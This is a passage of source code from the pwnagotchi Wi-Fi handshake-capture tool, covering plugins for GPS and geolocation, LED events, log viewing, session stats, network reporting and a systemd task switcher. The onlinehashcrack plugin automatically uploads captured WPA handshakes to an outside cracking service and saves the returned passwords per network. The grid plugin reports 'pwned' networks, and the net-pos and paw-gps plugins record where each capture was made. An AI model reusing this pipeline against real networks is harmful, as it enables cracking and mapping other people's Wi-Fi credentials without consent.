value="-", position=alt_pos, label_font=fonts.Small, text_font=fonts.Small, label_spacing=self.LABEL_SPACING, ), ) def on_unload(self, ui): with ui._lock: ui.remove_element('latitude') ui.remove_element('longitude') ui.remove_element('altitude') def on_ui_update(self, ui): if self.coordinates and all([ # avoid 0.000... measurements self.coordinates["Latitude"], self.coordinates["Longitude"] ]): # last char is sometimes not completely drawn ¯\_(ツ)_/¯ # using an ending-whitespace as workaround on each line ui.set("latitude", f"{self.coordinates['Latitude']:.4f} ") ui.set("longitude", f"{self.coordinates['Longitude']:.4f} ") ui.set("altitude", f"{self.coordinates['Altitude']:.1f}m ") ================================================ FILE: pwnagotchi/plugins/default/grid.py ================================================ import os import logging import time import glob import re import pwnagotchi.grid as grid import pwnagotchi.plugins as plugins from pwnagotchi.utils import StatusFile, WifiInfo, extract_from_pcap from threading import Lock def parse_pcap(filename): logging.info("grid: parsing %s ..." % filename) net_id = os.path.basename(filename).replace('.pcap', '') if '_' in net_id: # /root/handshakes/ESSID_BSSID.pcap essid, bssid = net_id.split('_') else: # /root/handshakes/BSSID.pcap essid, bssid = '', net_id mac_re = re.compile('[0-9a-fA-F]{12}') if not mac_re.match(bssid): return '', '' it = iter(bssid) bssid = ':'.join([a + b for a, b in zip(it, it)]) info = { WifiInfo.ESSID: essid, WifiInfo.BSSID: bssid, } try: info = extract_from_pcap(filename, [WifiInfo.BSSID, WifiInfo.ESSID]) except Exception as e: logging.error("grid: %s" % e) return info[WifiInfo.ESSID], info[WifiInfo.BSSID] class Grid(plugins.Plugin): __author__ = 'evilsocket@gmail.com' __version__ = '1.0.1' __license__ = 'GPL3' __description__ = 'This plugin signals the unit cryptographic identity and list of pwned networks and list of pwned ' \ 'networks to api.pwnagotchi.ai ' def __init__(self): self.options = dict() self.report = StatusFile('/root/.api-report.json', data_format='json') self.unread_messages = 0 self.total_messages = 0 self.lock = Lock() def is_excluded(self, what): for skip in self.options['exclude']: skip = skip.lower() what = what.lower() if skip in what or skip.replace(':', '') in what: return True return False def on_loaded(self): logging.info("grid plugin loaded.") def set_reported(self, reported, net_id): if net_id not in reported: reported.append(net_id) self.report.update(data={'reported': reported}) def check_inbox(self, agent): logging.debug("checking mailbox ...") messages = grid.inbox() self.total_messages = len(messages) self.unread_messages = len([m for m in messages if m['seen_at'] is None]) if self.unread_messages: plugins.on('unread_inbox', self.unread_messages) logging.debug("[grid] unread:%d total:%d" % (self.unread_messages, self.total_messages)) agent.view().on_unread_messages(self.unread_messages, self.total_messages) def check_handshakes(self, agent): logging.debug("checking pcaps") pcap_files = glob.glob(os.path.join(agent.config()['bettercap']['handshakes'], "*.pcap")) num_networks = len(pcap_files) reported = self.report.data_field_or('reported', default=[]) num_reported = len(reported) num_new = num_networks - num_reported if num_new > 0: if self.options['report']: logging.info("grid: %d new networks to report" % num_new) logging.debug("self.options: %s" % self.options) logging.debug(" exclude: %s" % self.options['exclude']) for pcap_file in pcap_files: net_id = os.path.basename(pcap_file).replace('.pcap', '') if net_id not in reported: if self.is_excluded(net_id): logging.debug("skipping %s due to exclusion filter" % pcap_file) self.set_reported(reported, net_id) continue essid, bssid = parse_pcap(pcap_file) if bssid: if self.is_excluded(essid) or self.is_excluded(bssid): logging.debug("not reporting %s due to exclusion filter" % pcap_file) self.set_reported(reported, net_id) else: if grid.report_ap(essid, bssid): self.set_reported(reported, net_id) time.sleep(1.5) else: logging.warning("no bssid found?!") else: logging.debug("grid: reporting disabled") def on_internet_available(self, agent): logging.debug("internet available") if self.lock.locked(): return with self.lock: try: grid.update_data(agent.last_session) except Exception as e: logging.error("error connecting to the pwngrid-peer service: %s" % e) logging.debug(e, exc_info=True) return try: self.check_inbox(agent) except Exception as e: logging.error("[grid] error while checking inbox: %s" % e) logging.debug(e, exc_info=True) try: self.check_handshakes(agent) except Exception as e: logging.error("[grid] error while checking pcaps: %s" % e) logging.debug(e, exc_info=True) ================================================ FILE: pwnagotchi/plugins/default/led.py ================================================ from threading import Event import _thread import logging import time import pwnagotchi.plugins as plugins class Led(plugins.Plugin): __author__ = 'evilsocket@gmail.com' __version__ = '1.0.0' __license__ = 'GPL3' __description__ = 'This plugin blinks the PWR led with different patterns depending on the event.' def __init__(self): self._is_busy = False self._event = Event() self._event_name = None self._led_file = "/sys/class/leds/led0/brightness" self._delay = 200 # called when the plugin is loaded def on_loaded(self): self._led_file = "/sys/class/leds/led%d/brightness" % self.options['led'] self._delay = int(self.options['delay']) logging.info("[led] plugin loaded for %s" % self._led_file) self._on_event('loaded') _thread.start_new_thread(self._worker, ()) def _on_event(self, event): if not self._is_busy: self._event_name = event self._event.set() logging.debug("[led] event '%s' set", event) else: logging.debug("[led] skipping event '%s' because the worker is busy", event) def _led(self, on): with open(self._led_file, 'wt') as fp: fp.write(str(on)) def _blink(self, pattern): logging.debug("[led] using pattern '%s' ..." % pattern) for c in pattern: if c == ' ': self._led(1) else: self._led(0) time.sleep(self._delay / 1000.0) # reset self._led(0) def _worker(self): while True: self._event.wait() self._event.clear() self._is_busy = True try: if self._event_name in self.options['patterns']: pattern = self.options['patterns'][self._event_name] self._blink(pattern) else: logging.debug("[led] no pattern defined for %s" % self._event_name) except Exception as e: logging.exception("[led] error while blinking") finally: self._is_busy = False # called when the unit is updating its software def on_updating(self): self._on_event('updating') # called when there's one or more unread pwnmail messages def on_unread_inbox(self, num_unread): self._on_event('unread_inbox') # called when there's internet connectivity def on_internet_available(self, agent): self._on_event('internet_available') # called when everything is ready and the main loop is about to start def on_ready(self, agent): self._on_event('ready') # called when the AI finished loading def on_ai_ready(self, agent): self._on_event('ai_ready') # called when the AI starts training for a given number of epochs def on_ai_training_start(self, agent, epochs): self._on_event('ai_training_start') # called when the AI got the best reward so far def on_ai_best_reward(self, agent, reward): self._on_event('ai_best_reward') # called when the AI got the worst reward so far def on_ai_worst_reward(self, agent, reward): self._on_event('ai_worst_reward') # called when the status is set to bored def on_bored(self, agent): self._on_event('bored') # called when the status is set to sad def on_sad(self, agent): self._on_event('sad') # called when the status is set to excited def on_excited(self, agent): self._on_event('excited') # called when the status is set to lonely def on_lonely(self, agent): self._on_event('lonely') # called when the agent is rebooting the board def on_rebooting(self, agent): self._on_event('rebooting') # called when the agent is waiting for t seconds def on_wait(self, agent, t): self._on_event('wait') # called when the agent is sleeping for t seconds def on_sleep(self, agent, t): self._on_event('sleep') # called when the agent refreshed its access points list def on_wifi_update(self, agent, access_points): self._on_event('wifi_update') # called when the agent is sending an association frame def on_association(self, agent, access_point): self._on_event('association') # called when the agent is deauthenticating a client station from an AP def on_deauthentication(self, agent, access_point, client_station): self._on_event('deauthentication') # called when a new handshake is captured, access_point and client_station are json objects # if the agent could match the BSSIDs to the current list, otherwise they are just the strings of the BSSIDs def on_handshake(self, agent, filename, access_point, client_station): self._on_event('handshake') # called when an epoch is over (where an epoch is a single loop of the main algorithm) def on_epoch(self, agent, epoch, epoch_data): self._on_event('epoch') # called when a new peer is detected def on_peer_detected(self, agent, peer): self._on_event('peer_detected') # called when a known peer is lost def on_peer_lost(self, agent, peer): self._on_event('peer_lost') ================================================ FILE: pwnagotchi/plugins/default/logtail.py ================================================ import os import logging import threading from itertools import islice from time import sleep from datetime import datetime,timedelta from pwnagotchi import plugins from pwnagotchi.utils import StatusFile from flask import render_template_string from flask import jsonify from flask import abort from flask import Response TEMPLATE = """ {% extends "base.html" %} {% set active_page = "plugins" %} {% block title %} Logtail {% endblock %} {% block styles %} {{ super() }} {% endblock %} {% block script %} var table = document.getElementById('table'); var filter = document.getElementById('filter'); var filterVal = filter.value.toUpperCase(); var xhr = new XMLHttpRequest(); xhr.open('GET', '{{ url_for('plugins') }}/logtail/stream'); xhr.send(); var position = 0; var data; var time; var level; var msg; var colorClass; function handleNewData() { var messages = xhr.responseText.split('\\n'); filterVal = filter.value.toUpperCase(); messages.slice(position, -1).forEach(function(value) { if (value.charAt(0) != '[') { msg = value; time = ''; level = ''; } else { data = value.split(']'); time = data.shift() + ']'; level = data.shift() + ']'; msg = data.join(']'); switch(level) { case ' [INFO]': colorClass = 'info'; break; case ' [WARNING]': colorClass = 'warning'; break; case ' [ERROR]': colorClass = 'error'; break; case ' [DEBUG]': colorClass = 'debug'; break; default: colorClass = 'default'; break; } } var tr = document.createElement('tr'); var td1 = document.createElement('td'); var td2 = document.createElement('td'); var td3 = document.createElement('td'); td1.textContent = time; td2.textContent = level; td3.textContent = msg; tr.appendChild(td1); tr.appendChild(td2); tr.appendChild(td3); tr.className = colorClass; if (filterVal.length > 0 && value.toUpperCase().indexOf(filterVal) == -1) { tr.style.display = "none"; } table.appendChild(tr); }); position = messages.length - 1; } var scrollingElement = (document.scrollingElement || document.body) function scrollToBottom () { scrollingElement.scrollTop = scrollingElement.scrollHeight; } var timer; var scrollElm = document.getElementById('autoscroll'); timer = setInterval(function() { handleNewData(); if (scrollElm.checked) { scrollToBottom(); } if (xhr.readyState == XMLHttpRequest.DONE) { clearInterval(timer); } }, 1000); var typingTimer; var doneTypingInterval = 1000; filter.onkeyup = function() { clearTimeout(typingTimer); typingTimer = setTimeout(doneTyping, doneTypingInterval); } filter.onkeydown = function() { clearTimeout(typingTimer); } function doneTyping() { document.body.style.cursor = 'progress'; var tr, tds, td, i, txtValue; filterVal = filter.value.toUpperCase(); tr = table.getElementsByTagName("tr"); for (i = 1; i < tr.length; i++) { txtValue = tr[i].textContent || tr[i].innerText; if (txtValue.toUpperCase().indexOf(filterVal) > -1) { tr[i].style.display = "table-row"; } else { tr[i].style.display = "none"; } } document.body.style.cursor = 'default'; } {% endblock %} {% block content %}

Time Level Message
{% endblock %} """ class Logtail(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '0.1.0' __license__ = 'GPL3' __description__ = 'This plugin tails the logfile.' def __init__(self): self.lock = threading.Lock() self.options = dict() self.ready = False def on_config_changed(self, config): self.config = config self.ready = True def on_loaded(self): """ Gets called when the plugin gets loaded """ logging.info("Logtail plugin loaded.") def on_webhook(self, path, request): if not self.ready: return "Plugin not ready" if not path or path == "/": return render_template_string(TEMPLATE) if path == 'stream': def generate(): with open(self.config['main']['log']['path']) as f: yield ''.join(f.readlines()[-self.options.get('max-lines', 4096):]) while True: yield f.readline() return Response(generate(), mimetype='text/plain') abort(404) ================================================ FILE: pwnagotchi/plugins/default/memtemp.py ================================================ # memtemp shows memory infos and cpu temperature # # mem usage, cpu load, cpu temp, cpu frequency # ############################################################### # # Updated 18-10-2019 by spees # - Changed the place where the data was displayed on screen # - Made the data a bit more compact and easier to read # - removed the label so we wont waste screen space # - Updated version to 1.0.1 # # 20-10-2019 by spees # - Refactored to use the already existing functions # - Now only shows memory usage in percentage # - Added CPU load # - Added horizontal and vertical orientation # # 19-09-2020 by crahan # - Added CPU frequency # - Made field types and order configurable (max 3 fields) # - Made line spacing and position configurable # - Updated code to dynamically generate UI elements # - Changed horizontal UI elements to Text # - Updated to version 1.0.2 ############################################################### from pwnagotchi.ui.components import LabeledValue, Text from pwnagotchi.ui.view import BLACK import pwnagotchi.ui.fonts as fonts import pwnagotchi.plugins as plugins import pwnagotchi import logging class MemTemp(plugins.Plugin): __author__ = 'https://github.com/xenDE' __version__ = '1.0.2' __license__ = 'GPL3' __description__ = 'A plugin that will display memory/cpu usage and temperature' ALLOWED_FIELDS = { 'mem': 'mem_usage', 'cpu': 'cpu_load', 'temp': 'cpu_temp', 'freq': 'cpu_freq' } DEFAULT_FIELDS = ['mem', 'cpu', 'temp'] LINE_SPACING = 10 LABEL_SPACING = 0 FIELD_WIDTH = 4 def on_loaded(self): logging.info("memtemp plugin loaded.") def mem_usage(self): return f"{int(pwnagotchi.mem_usage() * 100)}%" def cpu_load(self): return f"{int(pwnagotchi.cpu_load() * 100)}%" def cpu_temp(self): if self.options['scale'] == "fahrenheit": temp = (pwnagotchi.temperature() * 9 / 5) + 32 symbol = "f" elif self.options['scale'] == "kelvin": temp = pwnagotchi.temperature() + 273.15 symbol = "k" else: # default to celsius temp = pwnagotchi.temperature() symbol = "c" return f"{temp}{symbol}" def cpu_freq(self): with open('/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq', 'rt') as fp: return f"{round(float(fp.readline())/1000000, 1)}G" def pad_text(self, data): return " " * (self.FIELD_WIDTH - len(data)) + data def on_ui_setup(self, ui): try: # Configure field list self.fields = self.options['fields'].split(',') self.fields = [x.strip() for x in self.fields if x.strip() in self.ALLOWED_FIELDS.keys()] self.fields = self.fields[:3] # limit to the first 3 fields except Exception: # Set default value self.fields = self.DEFAULT_FIELDS try: # Configure line_spacing line_spacing = int(self.options['linespacing']) except Exception: # Set default value line_spacing = self.LINE_SPACING try: # Configure position pos = self.options['position'].split(',') pos = [int(x.strip()) for x in pos] if self.options['orientation'] == "vertical": v_pos = (pos[0], pos[1]) else: h_pos = (pos[0], pos[1]) except Exception: # Set default position based on screen type if ui.is_waveshare_v2(): h_pos = (178, 84) v_pos = (197, 74) elif ui.is_waveshare_v1(): h_pos = (170, 80) v_pos = (165, 61) elif ui.is_waveshare144lcd(): h_pos = (53, 77) v_pos = (73, 67) elif ui.is_inky(): h_pos = (140, 68) v_pos = (160, 54) elif ui.is_waveshare27inch(): h_pos = (192, 138) v_pos = (211, 122) else: h_pos = (155, 76) v_pos = (175, 61) if self.options['orientation'] == "vertical": # Dynamically create the required LabeledValue objects for idx, field in enumerate(self.fields): v_pos_x = v_pos[0] v_pos_y = v_pos[1] + ((len(self.fields) - 3) * -1 * line_spacing) ui.add_element( f"memtemp_{field}", LabeledValue( color=BLACK, label=f"{self.pad_text(field)}:", value="-", position=(v_pos_x, v_pos_y + (idx * line_spacing)), label_font=fonts.Small, text_font=fonts.Small, label_spacing=self.LABEL_SPACING, ) ) else: # default to horizontal h_pos_x = h_pos[0] + ((len(self.fields) - 3) * -1 * 25) h_pos_y = h_pos[1] ui.add_element( 'memtemp_header', Text( color=BLACK, value=" ".join([self.pad_text(x) for x in self.fields]), position=(h_pos_x, h_pos_y), font=fonts.Small, ) ) ui.add_element( 'memtemp_data', Text( color=BLACK, value=" ".join([self.pad_text("-") for x in self.fields]), position=(h_pos_x, h_pos_y + line_spacing), font=fonts.Small, ) ) def on_unload(self, ui): with ui._lock: if self.options['orientation'] == "vertical": for idx, field in enumerate(self.fields): ui.remove_element(f"memtemp_{field}") else: # default to horizontal ui.remove_element('memtemp_header') ui.remove_element('memtemp_data') def on_ui_update(self, ui): if self.options['orientation'] == "vertical": for idx, field in enumerate(self.fields): ui.set(f"memtemp_{field}", getattr(self, self.ALLOWED_FIELDS[field])()) else: # default to horizontal data = " ".join([self.pad_text(getattr(self, self.ALLOWED_FIELDS[x])()) for x in self.fields]) ui.set('memtemp_data', data) ================================================ FILE: pwnagotchi/plugins/default/net-pos.py ================================================ import logging import json import os import threading import requests import time import pwnagotchi.plugins as plugins from pwnagotchi.utils import StatusFile class NetPos(plugins.Plugin): __author__ = 'zenzen san' __version__ = '2.0.3' __license__ = 'GPL3' __description__ = """Saves a json file with the access points with more signal whenever a handshake is captured. When internet is available the files are converted in geo locations using Mozilla LocationService """ API_URL = 'https://location.services.mozilla.com/v1/geolocate?key={api}' def __init__(self): self.report = StatusFile('/root/.net_pos_saved', data_format='json') self.skip = list() self.ready = False self.lock = threading.Lock() def on_loaded(self): if 'api_key' not in self.options or ('api_key' in self.options and not self.options['api_key']): logging.error("NET-POS: api_key isn't set. Can't use mozilla's api.") return if 'api_url' in self.options: self.API_URL = self.options['api_url'] self.ready = True logging.info("net-pos plugin loaded.") logging.debug(f"net-pos: use api_url: {self.API_URL}"); def _append_saved(self, path): to_save = list() if isinstance(path, str): to_save.append(path) elif isinstance(path, list): to_save += path else: raise TypeError("Expected list or str, got %s" % type(path)) with open('/root/.net_pos_saved', 'a') as saved_file: for x in to_save: saved_file.write(x + "\n") def on_internet_available(self, agent): if self.lock.locked(): return with self.lock: if self.ready: config = agent.config() display = agent.view() reported = self.report.data_field_or('reported', default=list()) handshake_dir = config['bettercap']['handshakes'] all_files = os.listdir(handshake_dir) all_np_files = [os.path.join(handshake_dir, filename) for filename in all_files if filename.endswith('.net-pos.json')] new_np_files = set(all_np_files) - set(reported) - set(self.skip) if new_np_files: logging.debug("NET-POS: Found %d new net-pos files. Fetching positions ...", len(new_np_files)) display.set('status', f"Found {len(new_np_files)} new net-pos files. Fetching positions ...") display.update(force=True) for idx, np_file in enumerate(new_np_files): geo_file = np_file.replace('.net-pos.json', '.geo.json') if os.path.exists(geo_file): # got already the position reported.append(np_file) self.report.update(data={'reported': reported}) continue try: geo_data = self._get_geo_data(np_file) # returns json obj except requests.exceptions.RequestException as req_e: logging.error("NET-POS: %s - RequestException: %s", np_file, req_e) self.skip += np_file continue except json.JSONDecodeError as js_e: logging.error("NET-POS: %s - JSONDecodeError: %s, removing it...", np_file, js_e) os.remove(np_file) continue except OSError as os_e: logging.error("NET-POS: %s - OSError: %s", np_file, os_e) self.skip += np_file continue with open(geo_file, 'w+t') as sf: json.dump(geo_data, sf) reported.append(np_file) self.report.update(data={'reported': reported}) display.set('status', f"Fetching positions ({idx + 1}/{len(new_np_files)})") display.update(force=True) def on_handshake(self, agent, filename, access_point, client_station): netpos = self._get_netpos(agent) if not netpos['wifiAccessPoints']: return netpos["ts"] = int("%.0f" % time.time()) netpos_filename = filename.replace('.pcap', '.net-pos.json') logging.debug("NET-POS: Saving net-location to %s", netpos_filename) try: with open(netpos_filename, 'w+t') as net_pos_file: json.dump(netpos, net_pos_file) except OSError as os_e: logging.error("NET-POS: %s", os_e) def _get_netpos(self, agent): aps = agent.get_access_points() netpos = dict() netpos['wifiAccessPoints'] = list() # 6 seems a good number to save a wifi networks location for access_point in sorted(aps, key=lambda i: i['rssi'], reverse=True)[:6]: netpos['wifiAccessPoints'].append({'macAddress': access_point['mac'], 'signalStrength': access_point['rssi']}) return netpos def _get_geo_data(self, path, timeout=30): geourl = self.API_URL.format(api=self.options['api_key']) try: with open(path, "r") as json_file: data = json.load(json_file) except json.JSONDecodeError as js_e: raise js_e except OSError as os_e: raise os_e try: result = requests.post(geourl, json=data, timeout=timeout) return_geo = result.json() if data["ts"]: return_geo["ts"] = data["ts"] return return_geo except requests.exceptions.RequestException as req_e: raise req_e ================================================ FILE: pwnagotchi/plugins/default/onlinehashcrack.py ================================================ import os import csv import logging import re import requests from datetime import datetime from threading import Lock from pwnagotchi.utils import StatusFile, remove_whitelisted import pwnagotchi.plugins as plugins from json.decoder import JSONDecodeError class OnlineHashCrack(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '2.1.0' __license__ = 'GPL3' __description__ = 'This plugin automatically uploads handshakes to https://onlinehashcrack.com' def __init__(self): self.ready = False try: self.report = StatusFile('/root/.ohc_uploads', data_format='json') except JSONDecodeError: os.remove('/root/.ohc_uploads') self.report = StatusFile('/root/.ohc_uploads', data_format='json') self.skip = list() self.lock = Lock() def on_loaded(self): """ Gets called when the plugin gets loaded """ if 'email' not in self.options or ('email' in self.options and not self.options['email']): logging.error("OHC: Email isn't set. Can't upload to onlinehashcrack.com") return if 'whitelist' not in self.options: self.options['whitelist'] = list() self.ready = True logging.info("OHC: OnlineHashCrack plugin loaded.") def _upload_to_ohc(self, path, timeout=30): """ Uploads the file to onlinehashcrack.com """ with open(path, 'rb') as file_to_upload: data = {'email': self.options['email']} payload = {'file': file_to_upload} try: result = requests.post('https://api.onlinehashcrack.com', data=data, files=payload, timeout=timeout) if 'already been sent' in result.text: logging.debug(f"{path} was already uploaded.") except requests.exceptions.RequestException as e: logging.debug(f"OHC: Got an exception while uploading {path} -> {e}") raise e def _download_cracked(self, save_file, timeout=120): """ Downloads the cracked passwords and saves them returns the number of downloaded passwords """ try: s = requests.Session() dashboard = s.get(self.options['dashboard'], timeout=timeout) result = s.get('https://www.onlinehashcrack.com/wpa-exportcsv', timeout=timeout) result.raise_for_status() with open(save_file, 'wb') as output_file: output_file.write(result.content) except requests.exceptions.RequestException as req_e: raise req_e except OSError as os_e: raise os_e def on_webhook(self, path, request): import requests from flask import redirect s = requests.Session() s.get('https://www.onlinehashcrack.com/dashboard') r = s.post('https://www.onlinehashcrack.com/dashboard', data={'emailTasks': self.options['email'], 'submit': ''}) return redirect(r.url, code=302) def on_internet_available(self, agent): """ Called in manual mode when there's internet connectivity """ if not self.ready or self.lock.locked(): return with self.lock: display = agent.view() config = agent.config() reported = self.report.data_field_or('reported', default=list()) handshake_dir = config['bettercap']['handshakes'] handshake_filenames = os.listdir(handshake_dir) handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if filename.endswith('.pcap')] # pull out whitelisted APs handshake_paths = remove_whitelisted(handshake_paths, self.options['whitelist']) handshake_new = set(handshake_paths) - set(reported) - set(self.skip) if handshake_new: logging.info("OHC: Internet connectivity detected. Uploading new handshakes to onlinehashcrack.com") for idx, handshake in enumerate(handshake_new): display.on_uploading(f"onlinehashcrack.com ({idx + 1}/{len(handshake_new)})") try: self._upload_to_ohc(handshake) if handshake not in reported: reported.append(handshake) self.report.update(data={'reported': reported}) logging.debug(f"OHC: Successfully uploaded {handshake}") except requests.exceptions.RequestException as req_e: self.skip.append(handshake) logging.debug("OHC: %s", req_e) continue except OSError as os_e: self.skip.append(handshake) logging.debug("OHC: %s", os_e) continue display.on_normal() if 'dashboard' in self.options and self.options['dashboard']: cracked_file = os.path.join(handshake_dir, 'onlinehashcrack.cracked') if os.path.exists(cracked_file): last_check = datetime.fromtimestamp(os.path.getmtime(cracked_file)) if last_check is not None and ((datetime.now() - last_check).seconds / (60 * 60)) < 1: return try: self._download_cracked(cracked_file) logging.info("OHC: Downloaded cracked passwords.") except requests.exceptions.RequestException as req_e: logging.debug("OHC: %s", req_e) except OSError as os_e: logging.debug("OHC: %s", os_e) if 'single_files' in self.options and self.options['single_files']: with open(cracked_file, 'r') as cracked_list: for row in csv.DictReader(cracked_list): if row['password']: filename = re.sub(r'[^a-zA-Z0-9]', '', row['ESSID']) + '_' + row['BSSID'].replace(':','') if os.path.exists( os.path.join(handshake_dir, filename+'.pcap') ): with open(os.path.join(handshake_dir, filename+'.pcap.cracked'), 'w') as f: f.write(row['password']) ================================================ FILE: pwnagotchi/plugins/default/paw-gps.py ================================================ import logging import requests import pwnagotchi.plugins as plugins ''' You need an bluetooth connection to your android phone which is running PAW server with the GPS "hack" from Systemik and edited by shaynemk GUIDE HERE: https://community.pwnagotchi.ai/t/setting-up-paw-gps-on-android ''' class PawGPS(plugins.Plugin): __author__ = 'leont' __version__ = '1.0.1' __name__ = 'pawgps' __license__ = 'GPL3' __description__ = 'Saves GPS coordinates whenever an handshake is captured. The GPS data is get from PAW on android.' def on_loaded(self): logging.info("[paw-gps] plugin loaded") if 'ip' not in self.options or ('ip' in self.options and self.options['ip'] is None) or (len('ip' in self.options and self.options['ip']) is 0): logging.info("[paw-gps] no IP Address defined in the config file, will uses paw server default (192.168.44.1:8080)") def on_handshake(self, agent, filename, access_point, client_station): if 'ip' not in self.options or ('ip' in self.options and self.options['ip'] is None or (len('ip' in self.options and self.options['ip']) is 0)): ip = "192.168.44.1:8080" else: ip = self.options['ip'] try: gps = requests.get('http://' + ip + '/gps.xhtml') try: gps_filename = filename.replace('.pcap', '.paw-gps.json') logging.info("[paw-gps] saving GPS data to %s" % (gps_filename)) with open(gps_filename, 'w+t') as f: f.write(gps.text) except Exception as error: logging.error(f"[paw-gps] encountered error while saving gps data: {error}") except Exception as error: logging.error(f"[paw-gps] encountered error while getting gps data: {error}") ================================================ FILE: pwnagotchi/plugins/default/session-stats.py ================================================ import os import logging import threading from time import sleep from datetime import datetime,timedelta from pwnagotchi import plugins from pwnagotchi.utils import StatusFile from flask import render_template_string from flask import jsonify TEMPLATE = """ {% extends "base.html" %} {% set active_page = "plugins" %} {% block title %} Session stats {% endblock %} {% block styles %} {{ super() }} {% endblock %} {% block scripts %} {{ super() }} {% endblock %} {% block script %} $(document).ready(function(){ var ajaxDataRenderer = function(url, plot, options) { var ret = null; $.ajax({ async: false, url: url, dataType:"json", success: function(data) { ret = data; } }); return ret; }; function loadFiles(url, elm) { var data = ajaxDataRenderer(url); var x = document.getElementById(elm); $.each(data['files'], function( index, value ) { var option = document.createElement("option"); option.text = value; x.add(option); }); } function loadData(url, elm, title, fill) { var data = ajaxDataRenderer(url); var plot_os = $.jqplot(elm, data.values,{ title: title, stackSeries: fill, seriesDefaults: { showMarker: !fill, fill: fill, fillAndStroke: fill }, legend: { show: true, renderer: $.jqplot.EnhancedLegendRenderer, placement: 'outsideGrid', labels: data.labels, location: 's', rendererOptions: { numberRows: '2', }, rowSpacing: '0px' }, axes:{ xaxis:{ renderer:$.jqplot.DateAxisRenderer, tickOptions:{formatString:'%H:%M:%S'} }, yaxis:{ tickOptions:{formatString:'%.2f'} } }, highlighter: { show: true, sizeAdjust: 7.5 }, cursor:{ show: true, tooltipLocation:'sw' } }).replot({ axes:{ xaxis:{ renderer:$.jqplot.DateAxisRenderer, tickOptions:{formatString:'%H:%M:%S'} }, yaxis:{ tickOptions:{formatString:'%.2f'} } } }); } function loadSessionFiles() { loadFiles('/plugins/session-stats/session', 'session'); $("#session").change(function() { loadSessionData(); }); } function loadSessionData() { var x = document.getElementById("session"); var session = x.options[x.selectedIndex].text; loadData('/plugins/session-stats/os' + '?session=' + session, 'chart_os', 'OS', false) loadData('/plugins/session-stats/temp' + '?session=' + session, 'chart_temp', 'Temp', false) loadData('/plugins/session-stats/wifi' + '?session=' + session, 'chart_wifi', 'Wifi', true) loadData('/plugins/session-stats/duration' + '?session=' + session, 'chart_duration', 'Sleeping', true) loadData('/plugins/session-stats/reward' + '?session=' + session, 'chart_reward', 'Reward', false) loadData('/plugins/session-stats/epoch' + '?session=' + session, 'chart_epoch', 'Epochs', false) } loadSessionFiles(); loadSessionData(); setInterval(loadSessionData, 60000); }); {% endblock %} {% block content %}
{% endblock %} """ class GhettoClock: def __init__(self): self.lock = threading.Lock() self._track = datetime.now() self._counter_thread = threading.Thread(target=self.counter) self._counter_thread.daemon = True self._counter_thread.start() def counter(self): while True: with self.lock: self._track += timedelta(seconds=1) sleep(1) def now(self): with self.lock: return self._track class SessionStats(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '0.1.0' __license__ = 'GPL3' __description__ = 'This plugin displays stats of the current session.' def __init__(self): self.lock = threading.Lock() self.options = dict() self.stats = dict() self.clock = GhettoClock() def on_loaded(self): """ Gets called when the plugin gets loaded """ # this has to happen in "loaded" because the options are not yet # available in the __init__ os.makedirs(self.options['save_directory'], exist_ok=True) self.session_name = "stats_{}.json".format(self.clock.now().strftime("%Y_%m_%d_%H_%M")) self.session = StatusFile(os.path.join(self.options['save_directory'], self.session_name), data_format='json') logging.info("Session-stats plugin loaded.") def on_epoch(self, agent, epoch, epoch_data): """ Save the epoch_data to self.stats """ with self.lock: self.stats[self.clock.now().strftime("%H:%M:%S")] = epoch_data self.session.update(data={'data': self.stats}) @staticmethod def extract_key_values(data, subkeys): result = dict() result['values'] = list() result['labels'] = subkeys for plot_key in subkeys: v = [ [ts,d[plot_key]] for ts, d in data.items()] result['values'].append(v) return result def on_webhook(self, path, request): if not path or path == "/": return render_template_string(TEMPLATE) session_param = request.args.get('session') if path == "os": extract_keys = ['cpu_load','mem_usage',] elif path == "temp": extract_keys = ['temperature'] elif path == "wifi": extract_keys = [ 'missed_interactions', 'num_hops', 'num_peers', 'tot_bond', 'avg_bond', 'num_deauths', 'num_associations', 'num_handshakes', ] elif path == "duration": extract_keys = [ 'duration_secs', 'slept_for_secs', ] elif path == "reward": extract_keys = [ 'reward', ] elif path == "epoch": extract_keys = [ 'active_for_epochs', ] elif path == "session": return jsonify({'files': os.listdir(self.options['save_directory'])}) with self.lock: data = self.stats if session_param and session_param != 'Current': file_stats = StatusFile(os.path.join(self.options['save_directory'], session_param), data_format='json') data = file_stats.data_field_or('data', default=dict()) return jsonify(SessionStats.extract_key_values(data, extract_keys)) ================================================ FILE: pwnagotchi/plugins/default/switcher.py ================================================ import os import logging from threading import Lock from functools import partial from pwnagotchi import plugins from pwnagotchi import reboot def systemd_dropin(name, content): if not name.endswith('.service'): name = '%s.service' % name dropin_dir = "/etc/systemd/system/%s.d/" % name os.makedirs(dropin_dir, exist_ok=True) with open(os.path.join(dropin_dir, "switcher.conf"), "wt") as dropin: dropin.write(content) systemctl("daemon-reload") def systemctl(command, unit=None): if unit: os.system("/bin/systemctl %s %s" % (command, unit)) else: os.system("/bin/systemctl %s" % command) def run_task(name, options): task_service_name = "switcher-%s-task.service" % name # save all the commands to a shell script script_dir = '/usr/local/bin/' script_path = os.path.join(script_dir, 'switcher-%s.sh' % name) os.makedirs(script_dir, exist_ok=True) with open(script_path, 'wt') as script_file: script_file.write('#!/bin/bash\n') for cmd in options['commands']: script_file.write('%s\n' % cmd) os.system("chmod a+x %s" % script_path) # here we create the service which runs the tasks with open('/etc/systemd/system/%s' % task_service_name, 'wt') as task_service: task_service.write(""" [Unit] Description=Executes the tasks of the pwnagotchi switcher plugin After=pwnagotchi.service bettercap.service [Service] Type=oneshot RemainAfterExit=yes ExecStart=-/usr/local/bin/switcher-%s.sh ExecStart=-/bin/rm /etc/systemd/system/%s ExecStart=-/bin/rm /usr/local/bin/switcher-%s.sh [Install] WantedBy=multi-user.target """ % (name, task_service_name, name)) if 'reboot' in options and options['reboot']: # create a indication file! # if this file is set, we want the switcher-tasks to run open('/root/.switcher', 'a').close() # add condition systemd_dropin("pwnagotchi.service", """ [Unit] ConditionPathExists=!/root/.switcher""") systemd_dropin("bettercap.service", """ [Unit] ConditionPathExists=!/root/.switcher""") systemd_dropin(task_service_name, """ [Service] ExecStart=-/bin/rm /root/.switcher ExecStart=-/bin/rm 